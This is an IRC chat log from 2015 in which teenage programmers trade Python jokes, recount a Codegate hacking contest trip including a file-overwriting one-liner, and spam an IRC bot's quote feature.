[2015-04-08T19:56:13-0400] <JacobEdelman> fwilson!
[2015-04-08T19:56:16-0400] <jwoglom> assface!
[2015-04-08T19:56:18-0400] <+awe> c-c-c-combo-breaker
[2015-04-08T19:56:28-0400] <JacobEdelman> lol
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[2015-04-08T19:57:09-0400] <fwilson> ayy
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[2015-04-08T19:57:12-0400] <fwilson> too late
[2015-04-08T19:57:14-0400] <fwilson> uh
[2015-04-08T19:57:15-0400] <fwilson> don't ask about the ident
[2015-04-08T19:57:18-0400] <fwilson> it's a long story
[2015-04-08T19:57:23-0400] <jwoglom> fwilson: i'm asking
[2015-04-08T19:57:35-0400] <fwilson> no
[2015-04-08T19:57:40-0400] <fwilson> tl;dr i trolled efnet once
[2015-04-08T19:58:10-0400] <fwilson> and forgot to change my ident back
[2015-04-08T19:58:41-0400] <LittleBobbyTables> jesushacker
[2015-04-08T19:58:57-0400] <jwoglom> jesus, jesushacker. get your ident together
[2015-04-08T19:59:11-0400] <fwilson> rekt
[2015-04-08T20:04:09-0400] <JacobEdelman> lol
[2015-04-08T20:37:42-0400] <assface> jwoglom: eh?
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[2015-04-08T21:58:30-0400] <kenzierocks> i love how python doesn't imply that eq and ne are always opposites
[2015-04-08T21:59:00-0400] <kenzierocks> it's technically valid to do assert (x == y and x != y)
[2015-04-08T22:02:26-0400] <+awe> kenzierocks: that's horrible.
[2015-04-08T22:02:42-0400] <kenzierocks> yes it is
[2015-04-08T22:03:17-0400] <z3t> That is why JacobEdelman prefers Java over Python.
[2015-04-08T22:03:21-0400] <nickolas360> I love how "..." is valid python code
[2015-04-08T22:03:37-0400] <kenzierocks> l[...:1]
[2015-04-08T22:03:59-0400] <kenzierocks> Foo(..., ..., ...)
[2015-04-08T22:04:02-0400] <kenzierocks> :D
[2015-04-08T22:04:33-0400] <kenzierocks> > TypeError: list indices must be integers, not ellipsis
[2015-04-08T22:04:35-0400] <kenzierocks> meh
[2015-04-08T22:04:44-0400] <Tamini_> kenzierocks: I was thinking you got home really early :P
[2015-04-08T22:04:48-0400] <Tamini_> catch me up on today!
[2015-04-08T22:05:00-0400] <kenzierocks> we ate at PB again
[2015-04-08T22:05:04-0400] <kenzierocks> and uh
[2015-04-08T22:05:10-0400] <kenzierocks> that's it p much
[2015-04-08T22:05:15-0400] <Tamini_> i got you addicted didnt i
[2015-04-08T22:05:21-0400] <kenzierocks> working on python->java compiler
[2015-04-08T22:05:24-0400] <kenzierocks> yes you did
[2015-04-08T22:05:25-0400] <Tamini_> catch me up on yesterday
[2015-04-08T22:05:25-0400] <z3t> PB?
[2015-04-08T22:05:36-0400] <Tamini_> i heard they played that
[2015-04-08T22:05:44-0400] <Tamini_> we were the best white hackers B)
[2015-04-08T22:05:51-0400] <kenzierocks> lol
[2015-04-08T22:05:55-0400] <kenzierocks> z3t: paris baguette
[2015-04-08T22:06:01-0400] <z3t> ah
[2015-04-08T22:06:01-0400] <kenzierocks> http://lmgtfy.com/q=paris baguette
[2015-04-08T22:06:11-0400] <kenzierocks> erm....url encodingplz
[2015-04-08T22:06:15-0400] <kenzierocks> http://lmgtfy.com/q=paris%20baguette
[2015-04-08T22:06:32-0400] <kenzierocks> http://lmgtfy.com/?q=paris%20baguette
[2015-04-08T22:06:40-0400] <kenzierocks> sigh
[2015-04-08T22:06:46-0400] <kenzierocks> anyways
[2015-04-08T22:07:51-0400] <Tamini_> also do you remember the name of that guy one rank above you
[2015-04-08T22:09:00-0400] <Tamini_> i have a entirely academic interest in finding out who the really cute guy was.
[2015-04-08T22:09:46-0400] <kenzierocks> whoops
[2015-04-08T22:09:48-0400] <kenzierocks> irc broke
[2015-04-08T22:10:04-0400] <kenzierocks> what was the last message you got?
[2015-04-08T22:10:20-0400] <kenzierocks> Tamini_: 
[2015-04-08T22:10:21-0400] <jwoglom> lol nice lmgtfy
[2015-04-08T22:10:43-0400] <kenzierocks> <kenzierocks> Tamini: did you hear the news?
[2015-04-08T22:10:52-0400] <kenzierocks> that's what i think didn't get through
[2015-04-08T22:11:18-0400] <Tamini_> what news
[2015-04-08T22:11:24-0400] <Tamini_> did you get my last message?
[2015-04-08T22:11:33-0400] <kenzierocks> nop
[2015-04-08T22:11:42-0400] <Tamini_> 22:07:51 <Tamini_> also do you remember the name of that guy one rank above you
[2015-04-08T22:11:49-0400] <Tamini_> 22:09:00 <Tamini_> i have a entirely academic interest in finding out who the really cute guy was.
[2015-04-08T22:11:56-0400] <Tamini_> he was one rank above you in prelims
[2015-04-08T22:11:56-0400] <kenzierocks> above...me?
[2015-04-08T22:12:04-0400] <kenzierocks> nope
[2015-04-08T22:12:05-0400] <Tamini_> the guy without a ethernet port
[2015-04-08T22:12:07-0400] <Tamini_> :(
[2015-04-08T22:12:11-0400] <kenzierocks> sorry :(
[2015-04-08T22:12:15-0400] <kenzierocks> but we got polyglot!
[2015-04-08T22:12:17-0400] <Tamini_> it's okay.
[2015-04-08T22:12:20-0400] <Tamini_> I saw!
[2015-04-08T22:12:26-0400] <kenzierocks> it was really stupid
[2015-04-08T22:12:29-0400] <Tamini_> I'm so proud of you guys :)
[2015-04-08T22:12:44-0400] <kenzierocks> nohup while true; echo "import sys;sys.stdout.write('Python ok!')" > coco.py"; done & disown
[2015-04-08T22:12:47-0400] <kenzierocks> so bad
[2015-04-08T22:14:13-0400] <jwoglom> that code has, like, several things wrong with it
[2015-04-08T22:14:23-0400] <kenzierocks> probably
[2015-04-08T22:14:29-0400] <kenzierocks> it's semi-copy pasted
[2015-04-08T22:14:30-0400] <jwoglom> starting with mismatched "s...
[2015-04-08T22:14:49-0400] <kenzierocks> have the actual source https://gist.github.com/kenzierocks/4bee2006f44d0cf68d16
[2015-04-08T22:14:53-0400] <jwoglom> plus in terms of actual function, it's overwriting the same file over and over again?
[2015-04-08T22:14:57-0400] <kenzierocks> yea
[2015-04-08T22:15:07-0400] <kenzierocks> it's a race condition
[2015-04-08T22:15:39-0400] <jwoglom> oh huh that's interesting
[2015-04-08T22:16:19-0400] <LittleBobbyTables> you're a race condition
[2015-04-08T22:16:48-0400] <z3t> rekt
[2015-04-08T22:17:07-0400] <kenzierocks> i'm reading the qdb right now for lols
[2015-04-08T22:17:28-0400] <Tamini_> lol
[2015-04-08T22:17:33-0400] <Tamini_> is everyone else on a plane
[2015-04-08T22:17:39-0400] <kenzierocks> nope
[2015-04-08T22:17:45-0400] <Tamini_> ?
[2015-04-08T22:17:47-0400] <kenzierocks> i'm on an earth
[2015-04-08T22:17:53-0400] <kenzierocks> in a hotel
[2015-04-08T22:17:53-0400] <Tamini_> oh lol
[2015-04-08T22:17:57-0400] <Tamini_> anyway
[2015-04-08T22:18:00-0400] <LittleBobbyTables> I'm not on a plane
[2015-04-08T22:18:00-0400] <Tamini_> how was yesterday?
[2015-04-08T22:18:06-0400] <kenzierocks> good
[2015-04-08T22:18:07-0400] <Tamini_> how tired were you :3
[2015-04-08T22:18:11-0400] <kenzierocks> i gotz orange t shirt
[2015-04-08T22:18:16-0400] <jwoglom> i am sitting in a chair, thank you :P
[2015-04-08T22:18:17-0400] <kenzierocks> i slept for like 17 hrs
[2015-04-08T22:18:17-0400] <Tamini_> darn
[2015-04-08T22:18:21-0400] <Tamini_> did no one get me one
[2015-04-08T22:18:24-0400] <kenzierocks> not tshirt
[2015-04-08T22:18:25-0400] <kenzierocks> i meant
[2015-04-08T22:18:30-0400] <Tamini_> hoodie?
[2015-04-08T22:18:38-0400] <kenzierocks> wait did i say orange
[2015-04-08T22:18:38-0400] <Tamini_> didnt we all get that
[2015-04-08T22:18:39-0400] <kenzierocks> ffff
[2015-04-08T22:18:40-0400] <LittleBobbyTables> I want this ssd for 270 bucks...
[2015-04-08T22:18:45-0400] <kenzierocks> black hat
[2015-04-08T22:18:50-0400] <kenzierocks> i gotz the hat
[2015-04-08T22:18:56-0400] <Tamini_> I WANT THE HAT
[2015-04-08T22:19:01-0400] <Tamini_> YOU DIDNT GET ME THE HAT
[2015-04-08T22:19:04-0400] <Tamini_> D:
[2015-04-08T22:19:04-0400] <kenzierocks> no ;_;
[2015-04-08T22:19:07-0400] <kenzierocks> was expense
[2015-04-08T22:19:12-0400] <Tamini_> :((((
[2015-04-08T22:19:14-0400] <Tamini_> oh well
[2015-04-08T22:19:19-0400] <kenzierocks> i also got certificate
[2015-04-08T22:19:22-0400] <Tamini_> ill wear the obnoxiously orange hoodie
[2015-04-08T22:19:25-0400] <Tamini_> wait darn
[2015-04-08T22:19:28-0400] <Tamini_> i didnt get anything
[2015-04-08T22:19:33-0400] <kenzierocks> i think they'll mail it
[2015-04-08T22:19:40-0400] <Tamini_> wait actually
[2015-04-08T22:19:45-0400] <Tamini_> can i get them to mail me a hat
[2015-04-08T22:19:49-0400] <kenzierocks> maybe
[2015-04-08T22:19:52-0400] <Tamini_> :P
[2015-04-08T22:20:24-0400] <Tamini_> I just want a hat
[2015-04-08T22:20:35-0400] <Tamini_> is that too much to ask
[2015-04-08T22:20:35-0400] <jwoglom> you could get a hat from somewhere else? :P
[2015-04-08T22:20:40-0400] <jwoglom> or are these super special hats
[2015-04-08T22:20:46-0400] <kenzierocks> special
[2015-04-08T22:20:51-0400] <kenzierocks> they say codegate
[2015-04-08T22:20:53-0400] <fwilson> /mode +v Tamini_ 
[2015-04-08T22:20:55-0400] <kenzierocks> and have like, things
[2015-04-08T22:20:56-0400] <fwilson> hat!
[2015-04-08T22:20:59-0400] <jwoglom> ah
[2015-04-08T22:21:01-0400] <Tamini_> :)
[2015-04-08T22:21:05-0400] <fwilson> did you know that codegate is for worldwide white hackers 19 and under
[2015-04-08T22:21:06-0400] <jwoglom> use a sharpie? :P
[2015-04-08T22:21:09-0400] <Tamini_> it's such a cute hat
[2015-04-08T22:21:18-0400] <fwilson> that's twhat the website says
[2015-04-08T22:21:21-0400] <kenzierocks> we will be the best white hat hackers
[2015-04-08T22:21:23-0400] <Tamini_> can I chat Ryan and get him to buy me one
[2015-04-08T22:21:26-0400] <Tamini_> clockish*
[2015-04-08T22:21:28-0400] <jwoglom> fwilson: white hackers? like sdamashek? :P
[2015-04-08T22:21:34-0400] <kenzierocks> ye
[2015-04-08T22:21:43-0400] <Tamini_> :(
[2015-04-08T22:21:50-0400] <Tamini_> im so sad I missed out on the hat
[2015-04-08T22:21:51-0400] <kenzierocks> aside, does pdgn actually have democracy feature
[2015-04-08T22:21:54-0400] <fwilson> they meant "white hat hackers"
[2015-04-08T22:21:56-0400] <fwilson> kenzierocks: no
[2015-04-08T22:21:56-0400] <Tamini_> free hoodies tho
[2015-04-08T22:21:56-0400] <assface> saddamashek?
[2015-04-08T22:21:58-0400] <fwilson> not yet
[2015-04-08T22:21:59-0400] <jwoglom> kenzierocks: lol it used to
[2015-04-08T22:22:07-0400] <jwoglom> but then awe went all..awe
[2015-04-08T22:22:12-0400] <assface> ehh
[2015-04-08T22:22:13-0400] <fwilson> although, see http://hackersome.com/p/jevolk/SPQF
[2015-04-08T22:22:15-0400] <Tamini_> we canceled democracy
[2015-04-08T22:22:19-0400] <assface> dictatorship > democracy
[2015-04-08T22:22:39-0400] <+awe> kenzierocks: they used it to destroy everything.
[2015-04-08T22:22:46-0400] <jwoglom> was the change accomplished democratically?
[2015-04-08T22:23:02-0400] <kenzierocks> ?fortune
[2015-04-08T22:23:07-0400] <kenzierocks> is not thing
[2015-04-08T22:23:10-0400] <jwoglom> @fortune
[2015-04-08T22:23:16-0400] <z3t> !fortune
[2015-04-08T22:23:18-0400] <jwoglom> awebot should really do more things
[2015-04-08T22:23:25-0400] <kenzierocks> @help
[2015-04-08T22:23:30-0400] <assface> @hue
[2015-04-08T22:23:30-0400] <z3t> @seen jwoglomvps 
[2015-04-08T22:23:34-0400] <kenzierocks> ....help?
[2015-04-08T22:23:37-0400] <assface> @benis
[2015-04-08T22:23:39-0400] <kenzierocks> awebot: help
[2015-04-08T22:23:53-0400] <kenzierocks> @whoami
[2015-04-08T22:23:59-0400] <Tamini_> i want ten64 here >_<
[2015-04-08T22:24:03-0400] <kenzierocks> yea
[2015-04-08T22:24:04-0400] <jwoglom> @whois jwoglom
[2015-04-08T22:24:04-0400] <+awebot> jwoglom: jwoglom is iron man
[2015-04-08T22:24:05-0400] <Tamini_> i miss...him?her?
[2015-04-08T22:24:10-0400] <z3t> ....do you even use jwoglomvps, jwoglom?
[2015-04-08T22:24:12-0400] <kenzierocks> nezorg: TEN64 NEEDED
[2015-04-08T22:24:14-0400] <Tamini_> @whois Tamini
[2015-04-08T22:24:14-0400] <+awebot> Tamini_: Tamini is a robot. beep boop
[2015-04-08T22:24:17-0400] <jwoglom> z3t: lol it's my backup connection
[2015-04-08T22:24:21-0400] <LittleBobbyTables> @whois awebot
[2015-04-08T22:24:21-0400] <+awebot> LittleBobbyTables: awebot is just your friendly neighborhood Spiderman.
[2015-04-08T22:24:22-0400] <Tamini_> :)
[2015-04-08T22:24:25-0400] <kenzierocks> @whois kenzierocks 
[2015-04-08T22:24:25-0400] <+awebot> kenzierocks: kenzierocks is not a spy
[2015-04-08T22:24:27-0400] <z3t> @whois z3t 
[2015-04-08T22:24:27-0400] <+awebot> z3t: I don't know who z3t is.
[2015-04-08T22:24:29-0400] <jwoglom> in case my server, internet connection, and/or house dies
[2015-04-08T22:24:30-0400] <LittleBobbyTables> @whois LittleBobbyTables 
[2015-04-08T22:24:30-0400] <+awebot> LittleBobbyTables: LittleBobbyTables is #16 osu player
[2015-04-08T22:24:30-0400] <z3t> dick
[2015-04-08T22:24:36-0400] <LittleBobbyTables> what
[2015-04-08T22:24:36-0400] <jwoglom> z3t: @iam, i think?
[2015-04-08T22:24:39-0400] <fwilson> "Politicians are like Diapers, they should be exchanged often. And that for the same reason."
[2015-04-08T22:24:39-0400] <LittleBobbyTables> What is this!?
[2015-04-08T22:24:46-0400] <kenzierocks> @iam a person
[2015-04-08T22:24:46-0400] <+awebot> kenzierocks: Got it!
[2015-04-08T22:24:51-0400] <kenzierocks> @whois kenzierocks 
[2015-04-08T22:24:51-0400] <+awebot> kenzierocks: kenzierocks is a person
[2015-04-08T22:24:55-0400] <z3t> @iam jesus.
[2015-04-08T22:24:55-0400] <+awebot> z3t: Got it!
[2015-04-08T22:24:55-0400] <jwoglom> @whois awebot 
[2015-04-08T22:24:56-0400] <+awebot> jwoglom: awebot is just your friendly neighborhood Spiderman.
[2015-04-08T22:25:05-0400] <LittleBobbyTables> @iam #1 Germany osu player
[2015-04-08T22:25:05-0400] <+awebot> LittleBobbyTables: Got it!
[2015-04-08T22:25:12-0400] <assface> @iam a communist nazi jew
[2015-04-08T22:25:12-0400] <+awebot> assface: Got it!
[2015-04-08T22:25:12-0400] <z3t> @whois z3t 
[2015-04-08T22:25:13-0400] <+awebot> z3t: z3t is jesus.
[2015-04-08T22:25:16-0400] <LittleBobbyTables> That makes it sound so much better Kappa
[2015-04-08T22:25:17-0400] <z3t> Yes.
[2015-04-08T22:25:21-0400] <LittleBobbyTables> @whois awe
[2015-04-08T22:25:21-0400] <+awebot> LittleBobbyTables: awe is the Dark Lord of Strong, Static Typing and the Benevolent Dictator for Life of Pdgn.
[2015-04-08T22:25:27-0400] <LittleBobbyTables> @whois JacobEdelman 
[2015-04-08T22:25:27-0400] <+awebot> LittleBobbyTables: JacobEdelman is  
[2015-04-08T22:25:32-0400] <kenzierocks> lol
[2015-04-08T22:25:35-0400] <assface> hue
[2015-04-08T22:25:35-0400] <LittleBobbyTables> @whois Hyper 
[2015-04-08T22:25:35-0400] <+awebot> LittleBobbyTables: I don't know who Hyper is.
[2015-04-08T22:25:37-0400] <jwoglom> lol we're back to the weekly 5 minutes of pdgn botspam
[2015-04-08T22:25:42-0400] <LittleBobbyTables> @whois hardmath123 
[2015-04-08T22:25:42-0400] <+awebot> LittleBobbyTables: hardmath123 is number four.
[2015-04-08T22:25:50-0400] <assface> I am best osu
[2015-04-08T22:26:30-0400] <+awe> [22:23:18]  <jwoglom>	awebot should really do more things
[2015-04-08T22:26:32-0400] <+awe> jwoglom: like what?
[2015-04-08T22:26:43-0400] <assface> keep track of my hit list, stuff like that
[2015-04-08T22:26:44-0400] <jwoglom> awe: @seen?
[2015-04-08T22:26:47-0400] <z3t> ^
[2015-04-08T22:26:52-0400] <LittleBobbyTables> @seen LittleBobbyTables 
[2015-04-08T22:26:55-0400] <LittleBobbyTables> ;c
[2015-04-08T22:26:57-0400] <kenzierocks> @seen
[2015-04-08T22:27:01-0400] <jwoglom> @seen
[2015-04-08T22:27:03-0400] <z3t> My implementation of seen sorta worked...
[2015-04-08T22:27:06-0400] <kenzierocks> @seen kenzierocks 
[2015-04-08T22:27:16-0400] <LittleBobbyTables> "Why is our text book so large? C++ isn't that hard of a language."
[2015-04-08T22:27:23-0400] <assface> XD
[2015-04-08T22:27:29-0400] <+awe> jwoglom: I can add @seen.
[2015-04-08T22:27:34-0400] <assface> easier than java at the least
[2015-04-08T22:27:36-0400] <+awe> jwoglom: anything else
[2015-04-08T22:27:37-0400] <jwoglom> awe: you should, then :P
[2015-04-08T22:27:40-0400] <+awe> ?
[2015-04-08T22:27:50-0400] <Hyper> lol
[2015-04-08T22:28:03-0400] <LittleBobbyTables> Make a @roulette
[2015-04-08T22:28:24-0400] <jwoglom> what about builtin @quote?
[2015-04-08T22:28:28-0400] <jwoglom> or something
[2015-04-08T22:28:32-0400] <+awe> We have a quote one.
[2015-04-08T22:28:34-0400] <+awe> @quote
[2015-04-08T22:28:35-0400] <+awebot> <JacobEdelman> Pidgey has been PMing me lewd messages for weeks
[2015-04-08T22:28:38-0400] <jwoglom> @quote
[2015-04-08T22:28:39-0400] <+awebot> <hardmath123> kc:~/alchemy$ cat answers.py | grep love
[2015-04-08T22:28:43-0400] <+awe> @quote add
[2015-04-08T22:28:43-0400] <+awebot> There is no such quote.
[2015-04-08T22:28:48-0400] <+awe> I forget the syntax lol
[2015-04-08T22:28:52-0400] <+awe> Oh, @addquote
[2015-04-08T22:28:53-0400] <+awe> @addquote
[2015-04-08T22:28:56-0400] <kenzierocks> can we have babble like tjhsst
[2015-04-08T22:29:00-0400] <alokpathy> @quote
[2015-04-08T22:29:00-0400] <+awebot> <JacobEdelman> Pidgey has been PMing me lewd messages for weeks
[2015-04-08T22:29:06-0400] <+awe> @addquote <LittleBobbyTables>	"Why is our text book so large? C++ isn't that hard of a language."
[2015-04-08T22:29:06-0400] <+awebot> awe: I'll remember it as #3.
[2015-04-08T22:29:06-0400] <kenzierocks> @quote
[2015-04-08T22:29:06-0400] <+awebot> <<LittleBobbyTables>	"Why> is our text book so large? C++ isn't that hard of a language."
[2015-04-08T22:29:07-0400] <alokpathy> @quote
[2015-04-08T22:29:07-0400] <+awebot> <hardmath123> kc:~/alchemy$ cat answers.py | grep love
[2015-04-08T22:29:10-0400] <z3t> @addquote I am jesus.
[2015-04-08T22:29:10-0400] <+awebot> z3t: I'll remember it as #4.
[2015-04-08T22:29:18-0400] <alokpathy> @quote
[2015-04-08T22:29:18-0400] <+awebot> <<LittleBobbyTables>	"Why> is our text book so large? C++ isn't that hard of a language."
[2015-04-08T22:29:23-0400] <+awe> Oh, whoops.
[2015-04-08T22:29:24-0400] <+awe> I messed up.
[2015-04-08T22:29:26-0400] <z3t> @quote 4
[2015-04-08T22:29:26-0400] <+awebot> <I> am jesus.
[2015-04-08T22:29:26-0400] <jwoglom> lol a couple of people spent literally a week tweaking our babble command
[2015-04-08T22:29:34-0400] <alokpathy> How many quotes are there?
[2015-04-08T22:29:36-0400] <+awe> It's addquote <user> the rest of the message.
[2015-04-08T22:29:39-0400] <+awe> alokpathy: four.
[2015-04-08T22:29:53-0400] <z3t> @addquote awe I am stupid.
[2015-04-08T22:29:54-0400] <+awebot> z3t: I'll remember it as #5.
[2015-04-08T22:30:00-0400] <z3t> @quote 5
[2015-04-08T22:30:00-0400] <+awebot> <awe> I am stupid.
[2015-04-08T22:30:01-0400] <assface> someone made a Terry Davis bot
[2015-04-08T22:30:05-0400] <assface> we should add that
[2015-04-08T22:30:05-0400] <z3t> Yes.
[2015-04-08T22:30:11-0400] <LittleBobbyTables> @quote 1
[2015-04-08T22:30:11-0400] <+awebot> <hardmath123> kc:~/alchemy$ cat answers.py | grep love
[2015-04-08T22:30:13-0400] <LittleBobbyTables> @quote 2
[2015-04-08T22:30:13-0400] <+awebot> <JacobEdelman> Pidgey has been PMing me lewd messages for weeks
[2015-04-08T22:30:14-0400] <LittleBobbyTables> @quote 3
[2015-04-08T22:30:15-0400] <+awebot> <<LittleBobbyTables>	"Why> is our text book so large? C++ isn't that hard of a language."
[2015-04-08T22:30:20-0400] <bob_twinkles> tjhsst's babble is now backed by a ~250k row database table for the markov generation and ~80-90k lines worth of logs =P
[2015-04-08T22:30:20-0400] <jwoglom> @addquote awe I said this. You can trust me, because i'm awe.
[2015-04-08T22:30:20-0400] <+awebot> jwoglom: I'll remember it as #6.
[2015-04-08T22:30:28-0400] <jwoglom> @quote 6
[2015-04-08T22:30:28-0400] <+awebot> <awe> I said this. You can trust me, because i'm awe.
[2015-04-08T22:30:46-0400] <+awe> @addquote awe All of these quotes of mine are a lie!
[2015-04-08T22:30:46-0400] <+awebot> awe: I'll remember it as #7.
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[2015-04-08T22:30:57-0400] <z3t> @addquote LittleBobbyTables I am a skid.
[2015-04-08T22:30:57-0400] <+awebot> z3t: I'll remember it as #8.
[2015-04-08T22:31:01-0400] <kenzierocks> @addquote LittleBobbyTables you're a race condition
[2015-04-08T22:31:02-0400] <+awebot> kenzierocks: I'll remember it as #9.
[2015-04-08T22:31:08-0400] <z3t> @quote 8
[2015-04-08T22:31:08-0400] <+awebot> <LittleBobbyTables> I am a skid.
[2015-04-08T22:31:12-0400] <z3t> gg LittleBobbyTables 
[2015-04-08T22:31:13-0400] <LittleBobbyTables> lel
[2015-04-08T22:31:16-0400] <kenzierocks> @quote 9
[2015-04-08T22:31:17-0400] <+awebot> <LittleBobbyTables> you're a race condition
[2015-04-08T22:31:25-0400] <z3t> /afk gn all
[2015-04-08T22:31:35-0400] <kenzierocks> nig
[2015-04-08T22:31:49-0400] <jwoglom> @addquote _(ツ)_ 
[2015-04-08T22:31:49-0400] <+awebot> jwoglom: I'll remember it as #10.
[2015-04-08T22:31:52-0400] <jwoglom> @quote 10
[2015-04-08T22:31:52-0400] <+awebot> <_(ツ)_> 
[2015-04-08T22:32:00-0400] <+awe> str8 flexin'
[2015-04-08T22:32:00-0400] <LittleBobbyTables> @addquote awe awebot ajvpot alokpathy assface bob_twinkles calc0000 Fill fwilson Hyper hardmath123 jwoglom jwoglomvps kenzierocks LittleBobbyTables MrSaints nezorg nickolas360 nickthename Pharyngeal sdamashek Tamini_ Tamini The_Master ubuntor z3t zrl 
[2015-04-08T22:32:00-0400] <+awebot> LittleBobbyTables: I'll remember it as #11.
[2015-04-08T22:32:05-0400] <bob_twinkles> fuck
[2015-04-08T22:32:08-0400] <jwoglom> nice quote
[2015-04-08T22:32:08-0400] <LittleBobbyTables> lol
[2015-04-08T22:32:21-0400] <+awe> It's @users 2.0 lol
[2015-04-08T22:32:23-0400] <Tamini_> pinging everyone lik
[2015-04-08T22:32:26-0400] <LittleBobbyTables> @users 2.0
[2015-04-08T22:32:30-0400] <LittleBobbyTables> lies
[2015-04-08T22:32:30-0400] <+awe> I removed @users. :p
[2015-04-08T22:32:33-0400] <LittleBobbyTables> Kappa
[2015-04-08T22:32:35-0400] <jwoglom> let's see how long it takes to randomly get that one!
[2015-04-08T22:32:37-0400] <jwoglom> @quote
[2015-04-08T22:32:37-0400] <+awe> I'm saying you just made a new version of it.
[2015-04-08T22:32:37-0400] <+awebot> <awe> awebot ajvpot alokpathy assface bob_twinkles calc0000 Fill fwilson Hyper hardmath123 jwoglom jwoglomvps kenzierocks LittleBobbyTables MrSaints nezorg nickolas360 nickthename Pharyngeal sdamashek Tamini_ Tamini The_Master ubuntor z3t zrl 
[2015-04-08T22:32:37-0400] <fwilson> i can bring in my @users bot
[2015-04-08T22:32:40-0400] <LittleBobbyTables> LOL
[2015-04-08T22:32:41-0400] <+awe> jwoglom: one.
[2015-04-08T22:32:42-0400] <bob_twinkles> 10/10
[2015-04-08T22:32:48-0400] <jwoglom> ayy
[2015-04-08T22:32:51-0400] <+awe> fwilson: I have it too.
[2015-04-08T22:32:52-0400] <LittleBobbyTables> lmao
[2015-04-08T22:32:57-0400] <fwilson> awe: ok
[2015-04-08T22:33:07-0400] <LittleBobbyTables> @removequote 7
[2015-04-08T22:33:10-0400] <LittleBobbyTables> :(
[2015-04-08T22:33:25-0400] <bob_twinkles> @help
[2015-04-08T22:33:26-0400] <assface> @addquote * anus
[2015-04-08T22:33:26-0400] <+awebot> assface: I'll remember it as #12.
[2015-04-08T22:33:36-0400] <LittleBobbyTables> @quote 12
[2015-04-08T22:33:36-0400] <+awebot> <*> anus
[2015-04-08T22:33:39-0400] <LittleBobbyTables> lel
[2015-04-08T22:33:49-0400] <+awe> LittleBobbyTables: you can't remove quotes.
[2015-04-08T22:33:52-0400] <+awe> bob_twinkles: there's no help messages.
[2015-04-08T22:34:01-0400] <assface> you can't remove quotes?
[2015-04-08T22:34:02-0400] <bob_twinkles> awe: D=
[2015-04-08T22:34:09-0400] <LittleBobbyTables> Are these stored in a log somewhere
[2015-04-08T22:34:28-0400] <assface> @addquote hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh h
[2015-04-08T22:34:28-0400] <+awebot> assface: I'll remember it as #13.
[2015-04-08T22:34:36-0400] <+awe> assface: I can do it by hand...
[2015-04-08T22:34:39-0400] <LittleBobbyTables> What would happen if we just add a million quotes
[2015-04-08T22:34:45-0400] <+awe> I'd hate you.
[2015-04-08T22:34:47-0400] <LittleBobbyTables> would your server run out of space
[2015-04-08T22:34:49-0400] <+awe> Yes.
[2015-04-08T22:34:53-0400] <assface> :DDD
[2015-04-08T22:34:55-0400] <LittleBobbyTables> :D
[2015-04-08T22:34:59-0400] <bob_twinkles> @quote 14
[2015-04-08T22:34:59-0400] <+awebot> <testing> 1 2 3
[2015-04-08T22:35:05-0400] <LittleBobbyTables> @quote 15
[2015-04-08T22:35:05-0400] <+awebot> There is no such quote.
[2015-04-08T22:35:06-0400] <bob_twinkles> protip, you can add quotes via PM!
[2015-04-08T22:35:10-0400] <assface> someone else go write the script
[2015-04-08T22:35:15-0400] <LittleBobbyTables> uhhh
[2015-04-08T22:35:19-0400] <+awe> Can you not?
[2015-04-08T22:35:21-0400] <bob_twinkles> awe: I think this feature needs some security updates, stat =P
[2015-04-08T22:35:23-0400] <LittleBobbyTables> are you on irccloud, assface?
[2015-04-08T22:35:30-0400] <assface> lolno
[2015-04-08T22:35:34-0400] <LittleBobbyTables> you can just shift enter and do multiple lines at once
[2015-04-08T22:35:41-0400] <LittleBobbyTables> example
[2015-04-08T22:35:41-0400] <LittleBobbyTables> example 2
[2015-04-08T22:35:41-0400] <LittleBobbyTables> example 3
[2015-04-08T22:35:48-0400] <bob_twinkles> cslbot requires bot admin approval of all quotes, basically because we didn't want to deal with this sort of thing
[2015-04-08T22:35:49-0400] <assface> I'm using irssi
[2015-04-08T22:35:51-0400] <LittleBobbyTables> Might be bad, but still.
[2015-04-08T22:36:04-0400] <assface> it's the most basic irc client there is
[2015-04-08T22:36:10-0400] <+awe> I'm going to make the sweeping declaration: Everything you ruin, I will remove.
[2015-04-08T22:36:18-0400] <jwoglom> @quote
[2015-04-08T22:36:18-0400] <+awebot> <awebot> ayyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
[2015-04-08T22:36:27-0400] <assface> awe: what if I ruin your life?
[2015-04-08T22:36:34-0400] <+awe> So, sure, you can keep flooding awebot with quotes and you can fill up my server.
[2015-04-08T22:36:38-0400] <+awe> I will then remove quotes.
[2015-04-08T22:37:00-0400] <jwoglom> but you can't remove them at the same speed as they are generated
[2015-04-08T22:37:09-0400] <assface> he could delete the file
[2015-04-08T22:37:10-0400] <+awe> No, I don't mean I will remove the quotes.
[2015-04-08T22:37:13-0400] <+awe> I mean I will literally remove the feature.
[2015-04-08T22:37:32-0400] <LittleBobbyTables> What if I added a secret backdoor
[2015-04-08T22:37:34-0400] <+awe> I'm not interested in providing things for you if all you want to do is break them.
[2015-04-08T22:37:34-0400] <LittleBobbyTables> that keeps it in
[2015-04-08T22:37:42-0400] <jwoglom> so much for this democratic network
[2015-04-08T22:37:50-0400] <+awe> It's democratic, not slave labor.
[2015-04-08T22:37:52-0400] <assface> what on erf would you expect to happen on a channel full of skiddies?
[2015-04-08T22:37:59-0400] <+awe> I'm not going to work hard to provide a bunch of things that you're just going to break.
